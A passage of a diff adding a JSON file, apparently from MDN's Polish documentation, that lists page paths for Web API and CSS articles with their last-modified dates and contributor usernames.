+ },
+ "Web/API/Stylesheet": {
+ "modified": "2019-03-23T23:45:14.267Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/cssRules": {
+ "modified": "2019-03-23T23:48:42.200Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Bedi",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/deleteRule": {
+ "modified": "2019-03-23T23:45:22.762Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/disabled": {
+ "modified": "2019-03-23T23:45:18.937Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/href": {
+ "modified": "2019-03-23T23:45:21.729Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Stylesheet/insertRule": {
+ "modified": "2019-03-24T00:00:18.477Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "AshfaqHossain",
+ "Gompka",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/media": {
+ "modified": "2019-03-23T23:45:22.570Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Ptak82",
+ "Internauta1024A",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Stylesheet/ownerRule": {
+ "modified": "2019-03-23T23:45:18.103Z",
+ "contributors": [
+ "teoli",
+ "xuancanh",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/parentStyleSheet": {
+ "modified": "2019-03-23T23:45:16.498Z",
+ "contributors": [
+ "teoli",
+ "mimzi_fahia",
+ "Diablownik",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/title": {
+ "modified": "2019-03-23T23:45:22.666Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Stylesheet/type": {
+ "modified": "2019-03-23T23:45:20.725Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/WebGL_API": {
+ "modified": "2019-03-23T22:58:02.050Z",
+ "contributors": [
+ "dloranc",
+ "fscholz",
+ "michaldudak",
+ "odfdoodokdoudos",
+ "Dawid_Chmura_JWE",
+ "Trebor"
+ ]
+ },
+ "Web/API/WebGL_API/Tutorial": {
+ "modified": "2019-03-23T22:48:53.045Z",
+ "contributors": [
+ "fscholz"
+ ]
+ },
+ "Web/API/Web_Audio_API": {
+ "modified": "2019-03-23T22:11:02.259Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/API/Window": {
+ "modified": "2019-03-24T00:01:49.075Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "khalid32",
+ "Crash",
+ "Spawnm",
+ "Ptak82",
+ "Internauta1024A",
+ "Mgjbot",
+ "Diablownik",
+ "Takenbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Window/alert": {
+ "modified": "2019-03-23T23:50:36.690Z",
+ "contributors": [
+ "Sheppy",
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Window/applicationCache": {
+ "modified": "2019-03-23T22:47:53.352Z",
+ "contributors": [
+ "Rafal2228"
+ ]
+ },
+ "Web/API/Window/clearInterval": {
+ "modified": "2019-03-24T00:10:08.372Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "ethertank",
+ "qfel13"
+ ]
+ },
+ "Web/API/Window/clearTimeout": {
+ "modified": "2019-03-24T00:10:09.180Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "qfel13"
+ ]
+ },
+ "Web/API/Window/closed": {
+ "modified": "2019-03-23T23:49:15.119Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Rev",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Window/content": {
+ "modified": "2019-03-23T23:49:47.503Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Window/controllers": {
+ "modified": "2019-03-23T23:49:47.613Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Window/crypto": {
+ "modified": "2019-03-23T23:49:51.057Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Window/defaultStatus": {
+ "modified": "2019-03-23T23:49:46.875Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A",
+ "Diablownik"
+ ]
+ },
+ "Web/API/Window/directories": {
+ "modified": "2019-03-23T23:49:52.705Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Window/document": {
+ "modified": "2019-03-23T23:49:48.901Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Internauta1024A",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Window/dump": {
+ "modified": "2019-03-23T23:47:00.449Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Marcoos",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Window/focus": {
+ "modified": "2019-03-23T23:50:59.887Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Robson"
+ ]
+ },
+ "Web/API/Window/frameElement": {
+ "modified": "2019-03-23T23:49:48.399Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Diablownik",
+ "Internauta1024A"
+ ]
+ },
+ "Web/API/Window/frames": {
+ "modified": "2019-03-23T23:49:53.479Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Internauta1024A",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/getSelection": {
+ "modified": "2019-03-23T23:48:14.523Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Witia",
+ "Ptak82",
+ "Rev"
+ ]
+ },
+ "Web/API/Window/localStorage": {
+ "modified": "2019-03-23T22:47:52.730Z",
+ "contributors": [
+ "marcinru",
+ "Rafal2228"
+ ]
+ },
+ "Web/API/Window/name": {
+ "modified": "2019-03-23T23:49:59.062Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Robson"
+ ]
+ },
+ "Web/API/Window/navigator": {
+ "modified": "2019-03-23T23:49:11.084Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "AshfaqHossain",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/onload": {
+ "modified": "2019-03-24T00:18:31.426Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "AshfaqHossain",
+ "wojciech.fornal",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/open": {
+ "modified": "2019-03-23T23:13:16.656Z",
+ "contributors": [
+ "SphinxKnight",
+ "jigs12",
+ "fscholz",
+ "teoli",
+ "khalid32",
+ "Gompka",
+ "GT",
+ "Elwiz",
+ "Mgjbot",
+ "Ptak82",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Window/openDialog": {
+ "modified": "2019-03-24T00:04:19.879Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "damien.flament",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/opener": {
+ "modified": "2020-10-15T21:16:48.672Z",
+ "contributors": [
+ "michal037",
+ "kanapka94",
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/prompt": {
+ "modified": "2019-03-23T23:50:37.097Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "castus",
+ "Mgjbot",
+ "Diablownik",
+ "Ptak82",
+ "Robson"
+ ]
+ },
+ "Web/API/Window/requestAnimationFrame": {
+ "modified": "2019-03-23T22:44:30.377Z",
+ "contributors": [
+ "pl86",
+ "oskarszura",
+ "belfz",
+ "michal.fita"
+ ]
+ },
+ "Web/API/Window/resizeBy": {
+ "modified": "2019-03-23T23:51:10.757Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Robson"
+ ]
+ },
+ "Web/API/Window/resizeTo": {
+ "modified": "2019-03-23T23:51:08.562Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Robson",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/scroll": {
+ "modified": "2019-03-23T23:51:20.238Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi"
+ ]
+ },
+ "Web/API/Window/scrollByLines": {
+ "modified": "2019-03-23T23:51:36.326Z",
+ "contributors": [
+ "teoli",
+ "jsx",
+ "Mgjbot",
+ "Bedi",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/scrollByPages": {
+ "modified": "2019-03-23T23:51:38.748Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/API/Window/scrollTo": {
+ "modified": "2019-03-23T23:51:36.818Z",
+ "contributors": [
+ "teoli",
+ "khalid32",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi"
+ ]
+ },
+ "Web/API/Window/setInterval": {
+ "modified": "2019-03-24T00:10:09.408Z",
+ "contributors": [
+ "Bajdzis",
+ "teoli",
+ "khalid32",
+ "qfel13",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Window/setTimeout": {
+ "modified": "2019-03-24T00:10:06.439Z",
+ "contributors": [
+ "teoli",
+ "AshfaqHossain",
+ "qfel13",
+ "Ceth",
+ "Mgjbot",
+ "Jan Dudek"
+ ]
+ },
+ "Web/API/Window/sidebar": {
+ "modified": "2019-03-23T22:02:59.356Z",
+ "contributors": [
+ "IsaacSchemm"
+ ]
+ },
+ "Web/API/WindowBase64": {
+ "modified": "2019-03-23T23:01:35.375Z",
+ "contributors": [
+ "teoli"
+ ]
+ },
+ "Web/API/WindowBase64/atob": {
+ "modified": "2019-03-23T23:09:12.984Z",
+ "contributors": [
+ "teoli",
+ "Eltu"
+ ]
+ },
+ "Web/API/WindowBase64/btoa": {
+ "modified": "2019-03-23T23:09:14.333Z",
+ "contributors": [
+ "teoli",
+ "Eltu"
+ ]
+ },
+ "Web/API/Zdarzenia_dotykowe": {
+ "modified": "2020-10-15T22:21:40.615Z",
+ "contributors": [
+ "jangromko"
+ ]
+ },
+ "Web/API/powiadomienie": {
+ "modified": "2019-03-23T22:47:47.817Z",
+ "contributors": [
+ "archdevil666pl",
+ "teoli",
+ "Arfphis"
+ ]
+ },
+ "Web/Accessibility/ARIA": {
+ "modified": "2020-08-22T12:01:29.841Z",
+ "contributors": [
+ "lordBN",
+ "Dzordzu",
+ "Tigt"
+ ]
+ },
+ "Web/Accessibility/ARIA/Aplikacje_internetowe_i_ARIA_FAQ": {
+ "modified": "2019-03-23T22:15:44.866Z",
+ "contributors": [
+ "konradluka"
+ ]
+ },
+ "Web/Bezpieczeństwo": {
+ "modified": "2019-11-16T15:40:23.627Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/Bezpieczeństwo/Certificate_Transparency": {
+ "modified": "2019-11-16T15:16:54.228Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/Bezpieczeństwo/Podstawy_bezpieczenstwa_informacji": {
+ "modified": "2019-11-16T15:41:44.248Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/Bezpieczeństwo/Same-origin_policy": {
+ "modified": "2019-11-23T14:30:59.726Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/Bezpieczeństwo/Subresource_Integrity": {
+ "modified": "2020-10-15T22:24:54.815Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/CSS": {
+ "modified": "2019-09-11T03:38:26.790Z",
+ "contributors": [
+ "SphinxKnight",
+ "mitelak",
+ "teoli",
+ "Rokuzo",
+ "splewako",
+ "mirekczechxmm",
+ "ethertank",
+ "yecril71pl",
+ "Bedi",
+ "Mgjbot",
+ "Ptak82",
+ "Takenbot",
+ "gandalf",
+ "Zwierz",
+ "Jan Dudek",
+ "Anonymous",
+ "Dria",
+ "Justdave"
+ ]
+ },
+ "Web/CSS/-moz-box-align": {
+ "modified": "2019-03-23T23:46:56.187Z",
+ "contributors": [
+ "teoli",
+ "Bedi",
+ "Mgjbot",
+ "Witia",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/-moz-box-flex": {
+ "modified": "2019-03-23T23:46:57.781Z",
+ "contributors": [
+ "teoli",
+ "Bedi",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-box-orient": {
+ "modified": "2019-03-23T23:45:19.839Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-box-pack": {
+ "modified": "2019-03-23T23:45:20.022Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-image-region": {
+ "modified": "2019-03-23T23:59:50.714Z",
+ "contributors": [
+ "teoli",
+ "Filemon",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-outline-color": {
+ "modified": "2019-01-16T13:39:33.289Z",
+ "contributors": [
+ "teoli",
+ "FredB",
+ "Mgjbot",
+ "Ptak82",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-outline-radius": {
+ "modified": "2019-03-23T23:45:24.765Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-outline-radius-bottomleft": {
+ "modified": "2019-03-23T23:12:35.081Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-outline-radius-bottomright": {
+ "modified": "2019-03-23T23:29:51.587Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/-moz-outline-radius-topleft": {
+ "modified": "2019-03-23T22:49:53.395Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/:-moz-last-node": {
+ "modified": "2019-03-23T23:46:40.975Z",
+ "contributors": [
+ "teoli",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:active": {
+ "modified": "2019-03-23T22:13:14.805Z",
+ "contributors": [
+ "devMike"
+ ]
+ },
+ "Web/CSS/:after": {
+ "modified": "2019-03-23T23:59:14.262Z",
+ "contributors": [
+ "OnufryKlaczynski",
+ "Gut6",
+ "teoli",
+ "lukasz.jezierski",
+ "Mgjbot",
+ "Ptak82",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:before": {
+ "modified": "2019-03-23T23:59:14.388Z",
+ "contributors": [
+ "RudyPL",
+ "teoli",
+ "lukasz.jezierski",
+ "Mgjbot",
+ "Ptak82",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:empty": {
+ "modified": "2019-03-23T23:51:52.904Z",
+ "contributors": [
+ "wbamberg",
+ "teoli",
+ "Mgjbot",
+ "Abc",
+ "Marcoos"
+ ]
+ },
+ "Web/CSS/:first-child": {
+ "modified": "2019-01-16T15:50:56.106Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:first-letter": {
+ "modified": "2020-10-22T10:28:54.773Z",
+ "contributors": [
+ "Maciej_Grycz",
+ "teoli",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:first-node": {
+ "modified": "2019-03-23T23:46:41.088Z",
+ "contributors": [
+ "teoli",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:hover": {
+ "modified": "2020-10-15T22:02:36.417Z",
+ "contributors": [
+ "darqoo"
+ ]
+ },
+ "Web/CSS/:lang": {
+ "modified": "2019-03-23T23:46:41.214Z",
+ "contributors": [
+ "teoli",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:last-child": {
+ "modified": "2019-01-16T15:59:53.475Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Abc"
+ ]
+ },
+ "Web/CSS/:link": {
+ "modified": "2019-03-23T22:16:42.626Z",
+ "contributors": [
+ "PolskiSwir345"
+ ]
+ },
+ "Web/CSS/:not": {
+ "modified": "2020-09-11T05:10:49.171Z",
+ "contributors": [
+ "gyzamaz",
+ "teoli",
+ "Abc",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/:root": {
+ "modified": "2019-03-23T23:46:39.020Z",
+ "contributors": [
+ "teoli",
+ "Abc"
+ ]
+ },
+ "Web/CSS/@document": {
+ "modified": "2019-03-23T22:42:17.895Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Witia",
+ "Bedi"
+ ]
+ },
+ "Web/CSS/@import": {
+ "modified": "2019-03-23T23:43:24.900Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/@media": {
+ "modified": "2019-03-23T23:45:53.850Z",
+ "contributors": [
+ "teoli",
+ "Ptak82",
+ "Mgjbot",
+ "Witia"
+ ]
+ },
+ "Web/CSS/@supports": {
+ "modified": "2019-03-23T23:11:14.907Z",
+ "contributors": [
+ "fscholz",
+ "kamil09875",
+ "P0lip"
+ ]
+ },
+ "Web/CSS/Attribute_selectors": {
+ "modified": "2020-10-15T22:29:59.639Z",
+ "contributors": [
+ "n.lobodzinski"
+ ]
+ },
+ "Web/CSS/CSS_Colors": {
+ "modified": "2019-03-23T22:10:25.437Z",
+ "contributors": [
+ "Krenair"
+ ]
+ },
+ "Web/CSS/CSS_Colors/Narzedzie_doboru_kolorow": {
+ "modified": "2020-10-30T23:18:14.820Z",
+ "contributors": [
+ "makabeus",
+ "olkaboch"
+ ]
+ },
+ "Web/CSS/CSS_Flexible_Box_Layout": {
+ "modified": "2019-03-18T21:39:51.689Z",
+ "contributors": [
+ "andrzejkrecicki"
+ ]
+ },
+ "Web/CSS/CSS_Grid_Layout": {
+ "modified": "2020-04-30T03:28:17.468Z",
+ "contributors": [
+ "taboritis",
+ "Miszau",
+ "CreateWWW"
+ ]
+ },
+ "Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout": {
+ "modified": "2020-03-02T06:06:47.611Z",
+ "contributors": [
+ "Miszau"
+ ]
+ },
+ "Web/CSS/CSS_Grid_Layout/Realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_CSS": {
+ "modified": "2019-05-22T06:37:48.964Z",
+ "contributors": [
+ "DominikKowalczyk",
+ "vbert"
+ ]
+ },
+ "Web/CSS/CSS_Reference": {
+ "modified": "2019-03-24T00:14:16.483Z",
+ "contributors": [
+ "teoli",
+ "lucasgrzella",
+ "ethertank",
+ "tregagnon",
+ "yecril71pl",
+ "zag19922",
+ "Witia",
+ "Mgjbot",
+ "Abc",
+ "Bedi",
+ "Killerowski",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/CSS_Selectors": {
+ "modified": "2020-06-02T17:26:22.713Z",
+ "contributors": [
+ "ramiy"
+ ]
+ },
+ "Web/CSS/CSS_Selectors/Użycie_pseudoklasy_:target_w_selektorach": {
+ "modified": "2020-06-02T17:26:27.575Z",
+ "contributors": [
+ "zuzabrzozowska"
+ ]
+ },
+ "Web/CSS/Częste_pytania_o_CSS": {
+ "modified": "2020-07-16T22:25:45.500Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Witia",
+ "Ruby",
+ "gandalf",
+ "Listek",
+ "Zen"
+ ]
+ },
+ "Web/CSS/Dziedziczenie": {
+ "modified": "2019-01-16T15:34:17.593Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Witia",
+ "Ptak82",
+ "Godlark",
+ "Bedi",
+ "Killerowski",
+ "Diablownik"
+ ]
+ },
+ "Web/CSS/ID_selectors": {
+ "modified": "2019-03-23T22:16:24.379Z",
+ "contributors": [
+ "ahdarpl",
+ "PolskiSwir345"
+ ]
+ },
+ "Web/CSS/Inne_zasoby": {
+ "modified": "2019-01-16T16:10:29.072Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "gandalf",
+ "Dria"
+ ]
+ },
+ "Web/CSS/Margin": {
+ "modified": "2020-10-15T21:09:12.393Z",
+ "contributors": [
+ "trusohamn",
+ "wbamberg",
+ "Terite",
+ "fscholz",
+ "teoli",
+ "yecril71pl",
+ "hADeSik",
+ "Wasiqs"
+ ]
+ },
+ "Web/CSS/Media_Queries": {
+ "modified": "2019-03-23T22:42:34.065Z",
+ "contributors": [
+ "teoli"
+ ]
+ },
+ "Web/CSS/Media_Queries/Using_media_queries": {
+ "modified": "2019-10-10T16:46:21.792Z",
+ "contributors": [
+ "powelski",
+ "Hymtos",
+ "Sebastianz",
+ "mrstork",
+ "malayaleecoder",
+ "Asqan"
+ ]
+ },
+ "Web/CSS/Mozilla_Extensions": {
+ "modified": "2019-03-24T00:14:13.075Z",
+ "contributors": [
+ "ExE-Boss",
+ "SphinxKnight",
+ "teoli",
+ "tregagnon",
+ "fscholz",
+ "Filemon",
+ "Mgjbot",
+ "Ptak82",
+ "Bedi",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek": {
+ "modified": "2019-03-23T23:43:32.380Z",
+ "contributors": [
+ "teoli",
+ "thebodzio",
+ "Ptak82",
+ "Verruckt",
+ "Mgjbot",
+ "gandalf",
+ "Takenbot",
+ "Zwierz",
+ "Witia",
+ "Anonymous",
+ "Marcoos",
+ "Dria"
+ ]
+ },
+ "Web/CSS/Na_początek/Bloki": {
+ "modified": "2019-03-23T23:59:15.814Z",
+ "contributors": [
+ "teoli",
+ "lukasz.jezierski",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Przemys",
+ "Anonymous",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek/Czym_jest_CSS": {
+ "modified": "2019-03-23T23:43:31.084Z",
+ "contributors": [
+ "bazilazi",
+ "teoli",
+ "Verruckt",
+ "Mgjbot",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Taken",
+ "Witia",
+ "Anonymous",
+ "Marcoos",
+ "Dria"
+ ]
+ },
+ "Web/CSS/Na_początek/Czytelny_CSS": {
+ "modified": "2019-03-23T23:47:41.199Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Ruby",
+ "Sheppy",
+ "Anonymous",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek/Grafika_SVG": {
+ "modified": "2019-03-23T23:43:36.279Z",
+ "contributors": [
+ "teoli",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek/Jak_działa_CSS": {
+ "modified": "2019-03-23T23:43:25.888Z",
+ "contributors": [
+ "teoli",
+ "Verruckt",
+ "Ptak82",
+ "Zibek",
+ "Mgjbot",
+ "gandalf",
+ "Takenbot",
+ "Ruby",
+ "Anonymous",
+ "Witia",
+ "Marcoos",
+ "Dria"
+ ]
+ },
+ "Web/CSS/Na_początek/JavaScript": {
+ "modified": "2019-03-23T23:43:40.283Z",
+ "contributors": [
+ "teoli",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Anonymous",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek/Kaskadowość_i_dziedziczenie": {
+ "modified": "2019-03-23T23:43:24.400Z",
+ "contributors": [
+ "teoli",
+ "Verruckt",
+ "Mgjbot",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Sheppy",
+ "Witia",
+ "Anonymous"
+ ]
+ },
+ "Web/CSS/Na_początek/Kolor": {
+ "modified": "2019-03-23T23:48:35.027Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Verruckt",
+ "Ptak82",
+ "gandalf",
+ "Takenbot",
+ "Ruby",
+ "Anonymous",
+ "Mikolaj"
+ ]
+ },
+ "Web/CSS/Na_początek/Listy": {
+ "modified": "2019-03-23T23:44:37.412Z",
+ "contributors": [
+ "teoli",
+ "Sheppy",
+ "Delor",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Anonymous",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek/Media": {
+ "modified": "2019-03-23T23:43:37.766Z",
+ "contributors": [
+ "teoli",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Anonymous",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek/Po_co_używać_CSS": {
+ "modified": "2019-03-23T23:43:30.892Z",
+ "contributors": [
+ "teoli",
+ "Verruckt",
+ "Mgjbot",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Taken",
+ "Ruby",
+ "Witia",
+ "Anonymous",
+ "Marcoos",
+ "Dria"
+ ]
+ },
+ "Web/CSS/Na_początek/Selektory": {
+ "modified": "2019-03-23T23:59:17.263Z",
+ "contributors": [
+ "Miras",
+ "teoli",
+ "lukasz.jezierski",
+ "Mgjbot",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Ruby",
+ "Cleriic",
+ "Witia",
+ "Anonymous"
+ ]
+ },
+ "Web/CSS/Na_początek/Style_tekstowe": {
+ "modified": "2019-03-23T23:47:47.884Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Verruckt",
+ "Ptak82",
+ "Psz",
+ "gandalf",
+ "Takenbot",
+ "Sheppy",
+ "Witia",
+ "Anonymous"
+ ]
+ },
+ "Web/CSS/Na_początek/Tables": {
+ "modified": "2019-03-23T23:43:41.150Z",
+ "contributors": [
+ "teoli",
+ "ethertank",
+ "Verruckt",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Ruby",
+ "Anonymous",
+ "Witia"
+ ]
+ },
+ "Web/CSS/Na_początek/Układ": {
+ "modified": "2019-03-23T23:44:36.876Z",
+ "contributors": [
+ "teoli",
+ "Sheppy",
+ "Delor",
+ "Verruckt",
+ "Witia",
+ "gandalf",
+ "Takenbot",
+ "Ptak82",
+ "Anonymous"
+ ]
+ },
+ "Web/CSS/Prywatnosc_i_znacznik_:visited": {
+ "modified": "2019-11-18T18:19:32.622Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/CSS/Rozszerzenia_WebKit": {
+ "modified": "2019-03-23T22:13:44.275Z",
+ "contributors": [
+ "drm404"
+ ]
+ },
+ "Web/CSS/Selektor_klasy": {
+ "modified": "2019-03-18T21:17:20.719Z",
+ "contributors": [
+ "PolskiSwir345"
+ ]
+ },
+ "Web/CSS/Selektor_uniwersalny": {
+ "modified": "2020-10-15T22:09:36.180Z",
+ "contributors": [
+ "ahdarpl"
+ ]
+ },
+ "Web/CSS/Selektory_typu": {
+ "modified": "2020-10-15T21:17:26.155Z",
+ "contributors": [
+ "ahdarpl",
+ "teoli",
+ "Witia",
+ "Abc"
+ ]
+ },
+ "Web/CSS/Skrócone_deklaracje_CSS": {
+ "modified": "2019-01-16T16:16:14.250Z",
+ "contributors": [
+ "teoli",
+ "gandalf",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/Using_CSS_custom_properties": {
+ "modified": "2020-03-20T12:27:19.253Z",
+ "contributors": [
+ "Andrzej_Gierszewski",
+ "chrisdavidmills",
+ "maciekpastuszka",
+ "Miras"
+ ]
+ },
+ "Web/CSS/Wartość_początkowa": {
+ "modified": "2019-01-16T15:33:31.155Z",
+ "contributors": [
+ "teoli",
+ "Mgjbot",
+ "Ptak82",
+ "Witia",
+ "Killerowski",
+ "Bedi"
+ ]
+ },
+ "Web/CSS/appearance": {
+ "modified": "2019-03-23T23:34:43.549Z",
+ "contributors": [
+ "ExE-Boss",
+ "teoli",
+ "Mgjbot",
+ "Rev",
+ "Witia"
+ ]
+ },
+ "Web/CSS/background": {
+ "modified": "2019-03-24T00:08:43.942Z",
+ "contributors": [
+ "fatherJS",
+ "LuciusLuWroc",
+ "teoli",
+ "SphinxKnight",
+ "Yuichiro",
+ "Witia",
+ "Mgjbot",
+ "Kjj2",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/background-attachment": {
+ "modified": "2019-03-23T23:52:22.214Z",
+ "contributors": [
+ "SphinxKnight",
+ "teoli",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/background-color": {
+ "modified": "2019-03-24T00:02:14.396Z",
+ "contributors": [
+ "LuciusLuWroc",
+ "SphinxKnight",
+ "teoli",
+ "Yuichiro",
+ "Witia",
+ "Mgjbot",
+ "Ptak82"
+ ]
+ },
+ "Web/CSS/background-image": {
+ "modified": "2019-03-23T23:52:27.446Z",
+ "contributors": [
